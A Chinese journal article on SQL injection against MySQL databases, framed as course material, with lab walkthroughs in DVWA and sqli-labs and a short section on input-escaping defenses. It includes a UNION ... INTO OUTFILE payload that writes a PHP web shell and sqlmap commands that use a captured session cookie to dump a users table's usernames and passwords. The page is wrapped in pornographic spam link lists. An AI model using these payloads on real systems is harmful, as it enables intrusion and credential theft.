999精品在线视频,手机成人午夜在线视频,久久不卡国产精品无码,中日无码在线观看,成人av手机在线观看,日韩精品亚洲一区中文字幕,亚洲av无码人妻,四虎国产在线观看 ?

針對MySQL數據庫的自動化工具的注入與防御

2018-01-03 07:06:08張嫻蘇州工業園區服務外包職業學院
數碼世界 2017年12期
關鍵詞:頁面數據庫用戶

張嫻 蘇州工業園區服務外包職業學院

針對MySQL數據庫的自動化工具的注入與防御

張嫻 蘇州工業園區服務外包職業學院

1 背景

SQL 注入(SQL Injection)是應用程序通過向后臺數據庫提交(SQL,Structured Query Language)查詢時,如果攻擊者具有影響該查詢結果的能力時,我們就稱為是會產生SQL攻擊。典型的SQL注入更多的是針對服務器端的數據庫,然而根據目前HTML5的代碼規范,攻擊者同樣可以執行如Javascript等腳本來竊取客戶端的代碼。

1.1 SQL 注入構建

SQL 是 訪 問 SQL server、Oracle、Mysql、Sybase和Informix等數據庫服務器的標準語言。

大多數Web應用,如ASP、PHP、Java、C#等都具有通過可編程的方法與數據庫進行交互。

那如果Web在開發過程中,Web提交的表單參數和如cookies類的隱私信息無法保障其來源可信度的話,那么SQL注入漏洞就有可能產生。每種編程語言均提供了很多不同的方法來構造和執行SQL語句,但在開發過程中若對Web與基礎數據庫交互理解不透徹的話,往往就會讓攻擊者有機可趁。比如以下幾種情況是需要給程序員警告的安全建議:

(1)轉義字符攻擊

在SQL 語句構造過程中,單引號(’),雙引號(”),空 格( ), 如 $SQL=” select ? from Table_A where user=’$_GET[“username”]’ ” ,其 中 $_GET[“username”]是PHP語言獲取網頁表單的信息傳遞給數據庫的表現形式。該語句主要用來查詢輸入的字符串,將網頁表單中輸入的用戶名作為條件進行數據庫查詢。單引號外面的內容是要運行的代碼,用單引號里面的內容均是數據。所以,單引號的構造,可以進行Web 站點受SQL注入攻擊。單引號引起了MySQL的語法錯誤:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1。

(2)類型處理攻擊

SQL注入應用時,若用戶輸入的參數是整型,則單引號是不用加的。如$SQL=” select ? from Table_A where id=$_GET[“userid”]”。MySQL提供一條UNION命令進行聯合 執 行。 如 id=$_GET[“userid”] UNION SELECT “<?system(‘cmd’); ?>” INTO OUTFILE FILEPATH。該命令用來創建系統文件并進行寫操作。通過以上命令打開了一個遠程交互式訪問的Web Shell。Web Shell主要以PHP、ASP、JSP等網頁文件形式存在的一種命令執行環境。通常稱之為網頁后門。

2 識別SQL注入

識別SQL注入漏洞是通過發送意外數據來出發異常。那么以下三個點就是識別的關鍵:數據輸入的類型、會觸發異常的類型、檢測服務器響應的異常。Web瀏覽器以何種方式向服務器發送請求,不同的相應會通過不同的參數提交給予相應。常用的參數有GET請求、POST請求、cookie注入。

GET請求服務器響應的HTTP方法,請求信息包含在URL中。瀏覽器創建GET請求,發送給Web服務器,瀏覽器響應結果。如GET /test.php?id=1。用戶可以在瀏覽器中直接將id進行修改就可以操控參數。一般GET方法是網站設計時設計好的,用在子頁面的打開等情況。

POST是向Web服務器發送信息的HTTP。一般POST是用于用戶填寫表單向服務器提交參數。一般參數不出現在URL上面。

雖然大多數應用都從GET或POST 參數中檢索數據,但類似cookie的數據也會引發SQL漏洞。cookie被用于驗證、會話控制和保存用戶特定的信息。因此,cookie可能會通過用戶輸入方式或者cookie值被劫持遭受攻擊。一般cookie注入可以通過Wireshark等抓包分析cookie值來進行注入。下面的小節會詳細描述其過程。

3 SQLMap

SQLMap是開源的利用(系統)脆弱性自動進行數據庫入侵和滲透的工具。它具有一個非常強有力的探測引擎,但請注意SQLMap只是用來檢測和利用sql注入點的。并不是網站掃描工具。SQLMap支持的數據庫有:MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite, Firebird, Sybase和SAP MaxDB。SQLMap支持測試GET參數,POST參數,HTTP Cookie參數,HTTP User-Agent頭和HTTP Referer頭來確認是否有SQL注入,它也可以指定用逗號分隔的列表的具體參數來測試。。

4 Cookie 注入(劫持)攻擊

4.1 DVWA 安裝

如上一小節描述,登錄DVWA系統。點擊SQL Injection頁面,在User ID中填寫參數1,意思是id=1。

4.2 WireShark 抓包

啟動WireShark主界面,選擇網口eth0。

打開瀏覽器。保證數據包的抓取。利用WireShark編輯命令過濾條目 ip.addr=192.168.84.249 && http,顯示滿足該地址的HTTP包。

利用鼠標向右滾動,查找滿足當前頁面(id=1)的HTTP包。找到應用層數據中包含的cookie值。

4.3 SQLmap 自動注入

打開終端,啟動SQLMap。

執行

sqlmap"http://192.168.84.249/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHP SESSID=862fadc973927e2fe027eec8acbdb2ed" --current-db--current-user。

由執行結果,該后臺數據庫類型為Mysql ;操作系統為Linux Ubuntu 8.04 (Hardy Heron); 當前用戶為 root;當前數據庫為dvwa。此結果表示cookie注入(劫持)攻擊成功。執行結果。

4.4 參數提交攻擊

Kali中 打 開 瀏 覽 器 輸 入 http://192.168.85.159/sqli/Less-1/,打開實驗環境,在終端中輸入 sqlmap -u"http://192.168.85.159/sqli/Less-1/?id=1" --dbms mysql –dbs, 指定探測類型mysql,由于當前用戶是root,因此--dbs可以有權限列舉出當前所有數據庫。

接著探測當前數據庫和用戶,在SQLmap 中使用--current-db和--current-user參數。

sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql –current-db --current-user,當前受攻擊機數據庫用戶是root,當前Less-1頁面使用的數據庫是security。

探測當前數據庫security下所有的表,執行

sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql --tables -D security ,在這里要說明是--tables這個參數,這個參數后指定-D就說明指定當前數據庫中的所有表,如這個要探測security下所有的表,但如果沒有使用-D,就表是要探測數據庫中所有的表。

獲取用戶表中的信息,執行命令

sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql -D security -T users --column。-T users,表示指定探測表是users,--column探測該表中的所有列。探測結束發現users表有三列,id,password,username ,包含了用戶id,用戶密碼,用戶名。

獲取users表用戶名和密碼列的信息,執行

sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql -D security -T users -C username,password--dump。

其中-C username,password 列出用戶名和密碼。--dump獲取整個表的信息。

5 SQL防御技術

本章節的SQL注入的兩個實驗都是基于類型處理不當而導致的漏洞,敏感字符如(’)、() 等沒有得到有效過濾。當一個(’)變成了有效的程序輸入,往往就能構造有效的攻擊語句。因此,防御攻擊需要程序員在頁面開發過程中增加字符過濾函數。本次實驗的頁面開發語句均是PHP,因此下面的函數都是PHP開發函數。如mysql_real_escape_string()轉義敏感字符、stripslashes()刪除反斜杠等。32。

6 小結

通過本章節,讀者主要理解了SQL 程序開發不當引起的一些危險,掌握了SQL 注入的原理以及攻擊的手段。數據的處理是網頁多層架構開發中的存儲層,學習了它是如何與用戶進行交互的。本章節利用自動注入工具快速尋找、確認、自動發現SQL注入。主要給讀者呈現了Cookie劫持、Get參數提交等完整的攻擊過程及防御的手段。

張嫻,性別:女,出生年月:19810927,漢,單位:蘇州工業園區服務外包職業學院,職稱:講師,學歷:大學,主要研究方向:數據庫安全。

項目編號:zyk-026,項目名稱:MySQL使用技術,項目來源:校級網絡共享資源課。

猜你喜歡
頁面數據庫用戶
大狗熊在睡覺
刷新生活的頁面
保健醫苑(2022年1期)2022-08-30 08:39:14
數據庫
財經(2017年2期)2017-03-10 14:35:35
關注用戶
商用汽車(2016年11期)2016-12-19 01:20:16
關注用戶
商用汽車(2016年6期)2016-06-29 09:18:54
數據庫
財經(2016年15期)2016-06-03 07:38:02
關注用戶
商用汽車(2016年4期)2016-05-09 01:23:12
數據庫
財經(2016年3期)2016-03-07 07:44:46
數據庫
財經(2016年6期)2016-02-24 07:41:51
如何獲取一億海外用戶
創業家(2015年5期)2015-02-27 07:53:25
主站蜘蛛池模板: 欧美亚洲香蕉| 无码中字出轨中文人妻中文中| 黄色网址免费在线| 欧美性久久久久| 制服丝袜无码每日更新| 91 九色视频丝袜| 午夜毛片福利| A级全黄试看30分钟小视频| 国产精品极品美女自在线网站| 亚洲中文精品久久久久久不卡| 欧美综合在线观看| 精品色综合| 少妇精品久久久一区二区三区| 真人免费一级毛片一区二区| 亚洲婷婷丁香| 亚洲手机在线| 精品免费在线视频| 高清色本在线www| 国产一级精品毛片基地| 亚洲成网站| 一级一毛片a级毛片| 日韩色图在线观看| 国产精品福利导航| 婷婷伊人久久| AV不卡在线永久免费观看| 四虎国产精品永久一区| 97无码免费人妻超级碰碰碰| 69综合网| 精品综合久久久久久97超人| 美女无遮挡免费视频网站| 日韩福利视频导航| 欧美成人国产| 欧美在线中文字幕| 亚洲人成电影在线播放| 国产成人综合日韩精品无码首页| 欧美亚洲日韩不卡在线在线观看| 亚洲精品亚洲人成在线| 亚洲一欧洲中文字幕在线| 国产污视频在线观看| 日本人又色又爽的视频| 国产欧美亚洲精品第3页在线| 最新亚洲av女人的天堂| 久久亚洲精少妇毛片午夜无码| 67194在线午夜亚洲 | 狠狠色狠狠色综合久久第一次| 国产一级视频在线观看网站| 亚洲男人天堂网址| 91人妻在线视频| 99国产在线视频| h视频在线观看网站| 亚洲毛片在线看| 亚洲妓女综合网995久久| 波多野衣结在线精品二区| 日韩a级片视频| 精品亚洲麻豆1区2区3区| 精品综合久久久久久97超人| 九色最新网址| 第一区免费在线观看| 中文字幕首页系列人妻| 国产成人av一区二区三区| 久久久久人妻一区精品| 亚洲V日韩V无码一区二区| 国产亚洲精久久久久久久91| 亚洲成人在线网| 亚洲高清国产拍精品26u| 亚洲日韩精品欧美中文字幕 | 欧美精品亚洲精品日韩专区| 粉嫩国产白浆在线观看| 色婷婷综合在线| 在线不卡免费视频| 亚洲精品成人片在线播放| 国产福利微拍精品一区二区| 亚洲综合香蕉| 成人欧美在线观看| 国产精品尹人在线观看| 欧美成人精品欧美一级乱黄| 国产亚洲日韩av在线| 亚洲中文精品久久久久久不卡| 日韩 欧美 国产 精品 综合| 国产9191精品免费观看| 91小视频在线观看免费版高清| 另类综合视频|